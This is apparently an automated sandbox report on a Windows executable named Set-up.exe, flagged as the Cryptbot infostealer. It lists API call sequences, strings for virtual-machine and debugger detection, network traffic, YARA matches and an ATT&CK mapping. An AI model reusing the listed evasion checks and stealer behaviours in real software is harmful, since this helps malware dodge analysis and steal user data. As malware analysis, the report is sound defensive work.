Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048B380	0_2_0048B380
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003B33F0	0_2_003B33F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002FB3F0	0_2_002FB3F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00233450	0_2_00233450
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0047D430	0_2_0047D430
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0047F430	0_2_0047F430
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002EB4B0	0_2_002EB4B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004874A0	0_2_004874A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004635C0	0_2_004635C0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002FF5B0	0_2_002FF5B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0017F5B0	0_2_0017F5B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004755E0	0_2_004755E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0011D5C0	0_2_0011D5C0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004835B0	0_2_004835B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00479650	0_2_00479650
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004656D0	0_2_004656D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003B36A0	0_2_003B36A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048B6F0	0_2_0048B6F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004496B0	0_2_004496B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0018D740	0_2_0018D740
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0045B720	0_2_0045B720
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00487730	0_2_00487730
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004737E0	0_2_004737E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00299790	0_2_00299790
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00485780	0_2_00485780
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003097D0	0_2_003097D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004A17A0	0_2_004A17A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001B77E0	0_2_001B77E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001BB840	0_2_001BB840
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0029F850	0_2_0029F850
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001C9880	0_2_001C9880
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048D8E0	0_2_0048D8E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0047D890	0_2_0047D890
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0027B900	0_2_0027B900
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003D3960	0_2_003D3960
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00469920	0_2_00469920
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002ED9E0	0_2_002ED9E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0047B990	0_2_0047B990
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0032FA10	0_2_0032FA10
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00493A70	0_2_00493A70
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002D9A10	0_2_002D9A10
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002B9A50	0_2_002B9A50
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00461B50	0_2_00461B50
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001EBB50	0_2_001EBB50
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048BB10	0_2_0048BB10
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00481BD0	0_2_00481BD0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0046DB80	0_2_0046DB80
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00151BE0	0_2_00151BE0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00267C70	0_2_00267C70
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0037DC6C	0_2_0037DC6C
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002EFC50	0_2_002EFC50
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00477CC0	0_2_00477CC0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00297CA0	0_2_00297CA0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00281D30	0_2_00281D30

Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 001550A0 appears 34 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002C7120 appears 45 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 001175A0 appears 365 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002C7220 appears 776 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002ECA40 appears 98 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 00154FD0 appears 120 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 00154F40 appears 148 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 001F44A0 appears 43 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 001171E0 appears 33 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 00498B80 appears 31 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 0011CAA0 appears 37 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002EA170 appears 58 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002ECBC0 appears 501 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 001173F0 appears 62 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002EC9B0 appears 97 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 00229720 appears 40 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002EE710 appears 31 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 002C7310 appears 44 times

Source: Set-up.exe

Static PE information: invalid certificate

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: Set-up.exe

Binary string: Lntdll.dllNtCreateFileNtDeviceIoControlFileNtCancelIoFileEx\Device\Afd

Source: classification engine

Classification label: mal84.troj.spyw.evad.winEXE@1/0@9/2

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_0012D090 GetLastError,_errno,__sys_nerr,__sys_errlist,FormatMessageW,wcstombs,strchr,strlen,strcpy,strrchr,strrchr,_errno,GetLastError,SetLastError,_errno,_errno,GetLastError,

0_2_0012D090

Source: C:\Users\user\Desktop\Set-up.exe

0_2_0011255D

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_001129FF FindFirstFileA,FindFirstFileA,RegOpenKeyExA,RegOpenKeyExA,GetModuleFileNameA,CharUpperA,CharUpperA,strstr,CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,Process32Next,OpenProcess,QueryFullProcessImageNameA,QueryFullProcessImageNameA,CharUpperA,CloseHandle,CloseHandle,strstr,CreateToolhelp32Snapshot,Process32First,strncpy,_strlwr_s,strstr,strstr,strstr,strstr,CloseHandle,Process32Next,CloseHandle,CloseHandle,EnumWindows,EnumWindows,GetTickCount64,

0_2_001129FF

Source: C:\Users\user\Desktop\Set-up.exe

Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Set-up.exe	Virustotal: Detection: 33%
Source: Set-up.exe	ReversingLabs: Detection: 28%

Source: Set-up.exe	String found in binary or memory: set-addPolicy
Source: Set-up.exe	String found in binary or memory: in-addr.arpa
Source: Set-up.exe	String found in binary or memory: t xml:space=.gif" border="0"</body> </html> overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script> /favicon.ico" />operating system" style="width:1target="_blank">State Universitytext-align:left; document.write(, including the around t
Source: Set-up.exe	String found in binary or memory: Unable to complete request for channel-process-startup
Source: Set-up.exe	String found in binary or memory: id-cmc-addExtensions
Source: Set-up.exe	String found in binary or memory: iphlpapi.dllif_nametoindexkernel32LoadLibraryExA\/AddDllDirectorysystem_win32.c@
Source: Set-up.exe	String found in binary or memory: in-addr.arpa
Source: Set-up.exe	String found in binary or memory: 8L0123456789abcdefin-addr.arpaip6.arpa
Source: Set-up.exe	String found in binary or memory: Unable to complete request for channel-process-startup
Source: Set-up.exe	String found in binary or memory: JM[\Unable to allocate space for channel dataFailed allocating memory for channel type nameUnable to allocate temporary space for packetWould block sending channel-open requestUnable to send channel-open requestWould blockUnexpected errorUnexpected packet sizeChannel open failure (administratively prohibited)Channel open failure (connect failed)Channel open failure (unknown channel type)Channel open failure (resource shortage)Channel open failureUnable to allocate memory for setenv packetcancel-tcpip-forwardWould block sending forward requestUnable to send global-request packet for forward listen requestauth-agent-req@openssh.comauth-agent-reqcdChannel can not be reusedUnable to allocate memory for channel-process requestWould block sending channel requestUnable to send channel requestFailed waiting for channel successUnable to complete request for channel-process-startupUnexpected packet lengthUnable to allocate memory for signal nameWould block sending window adjustUnable to send transfer-window adjustment packet, deferringtransport readwould blockWe have already closed this channelEOF has already been received, data might be ignoredFailure while draining incoming flowUnable to send channel dataUnable to send EOF, but closing channel anywayWould block sending close-channelUnable to send close-channel request, but closing anywaysessionchannel.cUnable to allocate memory for direct-tcpip connectiondirect-tcpipUnable to allocate memory for direct-streamlocal connectiondirect-streamlocal@openssh.comQR0.0.0.0tcpip-forwardWould block sending global-request packet for forward listen requestUnknownUnable to allocate memory for listener queueUnable to complete request for forward-listenWould block waiting for packetChannel not foundcdenvWould block sending setenv requestUnable to send channel-request packet for setenv requestFailed getting response for channel-setenvUnable to complete request for channel-setenvcdWould block sending auth-agent requestUnable to send auth-agent requestFailed to request auth-agentUnable to complete request for auth-agentcdterm + mode lengths too largepty-reqWould block sending pty requestUnable to send pty-request packetFailed to require the PTY packageUnable to complete request for channel request-ptywindow-changeWould block sending window-change requestUnable to send window-change packetcdUnable to allocate memory for pty-requestx11-reqMIT-MAGIC-COOKIE-1Unable to get random bytes for x11-req cookie%02XWould block sending X11-req packetUnable to send x11-req packetwaiting for x11-req response packetUnable to complete request for channel x11-reqWould block sending EOFUnable to send EOF on channelReceiving channel window has been exhausted_libssh2_transport_read() bailed out!libssh2_channel_wait_closed() invoked when channel is not in EOF stateUnable to allocate memory for signal requestsignalWould block sending signal requestUnable to send signal packetecdsa-sha2-nistp256ecdsa-sha2-nistp384ecdsa-sha2-nistp521blocksize <= siz
Source: Set-up.exe	String found in binary or memory: id-cmc-addExtensions
Source: Set-up.exe	String found in binary or memory: set-addPolicy
Source: Set-up.exe	String found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Set-up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Set-up.exe

Static file information: File size 7745160 > 1048576

Source: Set-up.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x52a800
Source: Set-up.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x151c00

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_001114E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001114E0

Source: Set-up.exe

Static PE information: section name: .eh_fram

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A20D3 pushfd ; iretd	0_3_015A2151
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A20D3 pushfd ; iretd	0_3_015A2151
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A20D3 pushfd ; iretd	0_3_015A2151
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A20D3 pushfd ; iretd	0_3_015A2151
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A20D3 pushfd ; iretd	0_3_015A2151
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A20D3 pushfd ; iretd	0_3_015A2151
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0709 push esp; retf	0_3_015A0711
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A0730 push eax; ret	0_3_015A0731
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_3_015A4728 push ebx; ret	0_3_015A4729

Malware Analysis System Evasion

Contain functionality to detect virtual machines

Source: C:\Users\user\Desktop\Set-up.exe

Code function: C:\Windows\System32\VBox*.dll vbox_first SYSTEM\ControlSet001\Services\VBoxSF vbox_second

0_2_001129FF

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Set-up.exe	Binary or memory string: PROCMON.EXE
Source: Set-up.exe	Binary or memory string: X64DBG.EXE
Source: Set-up.exe	Binary or memory string: WINDBG.EXE
Source: Set-up.exe	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: Set-up.exe	Binary or memory string: WIRESHARK.EXE

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_002F9980 rdtsc

0_2_002F9980

Source: C:\Users\user\Desktop\Set-up.exe

0_2_001129FF

Source: C:\Users\user\Desktop\Set-up.exe

API coverage: 7.2 %

Source: C:\Users\user\Desktop\Set-up.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0011255D GetSystemInfo,GetSystemInfo,GlobalMemoryStatusEx,GlobalMemoryStatusEx,GetLogicalDriveStringsA,GetLogicalDriveStringsA,GetDriveTypeA,GetDriveTypeA,GetDiskFreeSpaceExA,GetDiskFreeSpaceExA,strlen,EnumDisplayMonitors,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,SHGetKnownFolderPath,wcscpy,wcscat,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,K32EnumProcesses,GetTickCount64,	0_2_0011255D
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001129FF FindFirstFileA,FindFirstFileA,RegOpenKeyExA,RegOpenKeyExA,GetModuleFileNameA,CharUpperA,CharUpperA,strstr,CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,Process32Next,OpenProcess,QueryFullProcessImageNameA,QueryFullProcessImageNameA,CharUpperA,CloseHandle,CloseHandle,strstr,CreateToolhelp32Snapshot,Process32First,strncpy,_strlwr_s,strstr,strstr,strstr,strstr,CloseHandle,Process32Next,CloseHandle,CloseHandle,EnumWindows,EnumWindows,GetTickCount64,	0_2_001129FF
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002EE270 _errno,FindNextFileW,WideCharToMultiByte,strlen,_errno,calloc,MultiByteToWideChar,MultiByteToWideChar,_errno,GetLastError,MultiByteToWideChar,wcscpy,FindFirstFileW,free,_errno,	0_2_002EE270

Source: C:\Users\user\Desktop\Set-up.exe

0_2_0011255D

Source: C:\Users\user\Desktop\Set-up.exe

0_2_0011255D

Source: Set-up.exe	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Set-up.exe, 00000000.00000003.1766598511.0000000001593000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766768289.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768219322.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766658323.0000000001596000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766831207.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll": 1932 }, { "name": "svchost.exe", "pid": 2064 }, { "name": "svchost.exe", "pid": 2152 }, { "name": "svchost.exe", "pid": 2216 }, { "name": "svchost.exe", "pid": 2268 }, { "name": "svchost.exe", "pid": 2388 }, { "name": "svchost.exe", "pid": 2396 }, { "name": "svchost.exe", "pid": 2508 }, { "name": "svchost.exe", "pid": 2528 }, { "name": "OfficeClickToRun.exe", "pid": 2552 }, { "name": "svchost.exe", "pid": 2608 }, { "name": "svchost.exe", "pid": 2616
Source: Set-up.exe	Binary or memory string: Hyper-V RAW
Source: Set-up.exe	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Set-up.exe, 00000000.00000003.1679622239.0000000001387000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFsion\Uninstall\{90160000-008C-0000-0000-0000000FF1CE}00000FF1CE}\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-0000-0000000FF1CE}
Source: Set-up.exe, 00000000.00000003.1678980798.0000000001543000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Set-up.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_002F9980 rdtsc

0_2_002F9980

Source: C:\Users\user\Desktop\Set-up.exe

0_2_001129FF

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_001114E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001114E0

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0011116C Sleep,Sleep,SetUnhandledExceptionFilter,_set_invalid_parameter_handler,__p__acmdln,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	0_2_0011116C
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00111160 Sleep,SetUnhandledExceptionFilter,_set_invalid_parameter_handler,__p__acmdln,malloc,strlen,malloc,memcpy,	0_2_00111160
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001111A3 Sleep,SetUnhandledExceptionFilter,_set_invalid_parameter_handler,__p__acmdln,malloc,strlen,malloc,memcpy,	0_2_001111A3
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001113C9 SetUnhandledExceptionFilter,_set_invalid_parameter_handler,__p__acmdln,malloc,strlen,malloc,memcpy,_initterm,	0_2_001113C9

Source: C:\Users\user\Desktop\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_002F93D0 GetSystemTime,SystemTimeToFileTime,

0_2_002F93D0

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_00631870 GetVersion,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,GetLastError,__acrt_iob_func,_time32,GetLastError,__acrt_iob_func,

0_2_00631870

Source: C:\Users\user\Desktop\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Set-up.exe, Set-up.exe, 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: procmon.exe
Source: Set-up.exe, Set-up.exe, 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 6512, type: MEMORYSTR

Infostealer behavior detected

Source: Signature Results

Signatures: Mutex created, HTTP post and idle behavior

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 34.147.147.173:80

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 6512, type: MEMORYSTR

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0014A550 setsockopt,_errno,_errno,_errno,_errno,setsockopt,WSAGetLastError,getsockopt,setsockopt,strlen,htons,getsockopt,setsockopt,WSAGetLastError,WSAGetLastError,strchr,htons,bind,WSAGetLastError,htons,bind,WSAGetLastError,htons,strtoul,	0_2_0014A550
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001DAA30 htons,htons,socket,ioctlsocket,setsockopt,setsockopt,htonl,bind,setsockopt,setsockopt,connect,WSAGetLastError,closesocket,	0_2_001DAA30
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0015E480 strlen,strchr,strchr,strchr,strtoul,strchr,strtoul,memcpy,getsockname,WSAGetLastError,WSAGetLastError,memcpy,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,bind,htons,bind,WSAGetLastError,getsockname,listen,listen,WSAGetLastError,htons,	0_2_0015E480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
